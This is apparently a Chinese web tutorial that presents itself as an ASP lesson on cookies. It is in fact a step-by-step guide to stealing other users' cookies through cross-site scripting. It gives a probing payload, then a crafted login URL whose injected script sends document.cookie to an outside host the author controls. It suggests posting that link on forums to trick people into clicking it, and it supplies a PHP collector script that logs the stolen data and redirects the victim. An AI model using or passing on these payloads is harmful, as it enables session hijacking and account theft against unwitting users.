Asp教程:Cookie的适用对象介绍:高级
三、Cookie的编程实现 适用对象:高级读者
多数网页编程语言都提供了对Cookie的支持。
如Javascript、VBscript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。
1、分析并构造URL
首先打开我们要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“<A1>”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login.pl?username=<A1>&passwd=&ok.x=28&ok.y=6”的代码,将“<A1>”更换为“<script>alert(Documents.cookie)</script>”再试;如果执行成功,就开始构造URL:“http://www.XXX.net/txl/login/login.pl?username=<script>window.open("&passwd=&ok.x=28&ok.y=6'>http://www.cbifamily.org/cbi.php?"%2BDocuments.cookie)</script>&passwd=&ok.x=28&ok.y=6”。
其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。
2、编制PHP脚本
该脚本的作用就是收集Cookie文件,具体内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.knowsky.com");
?>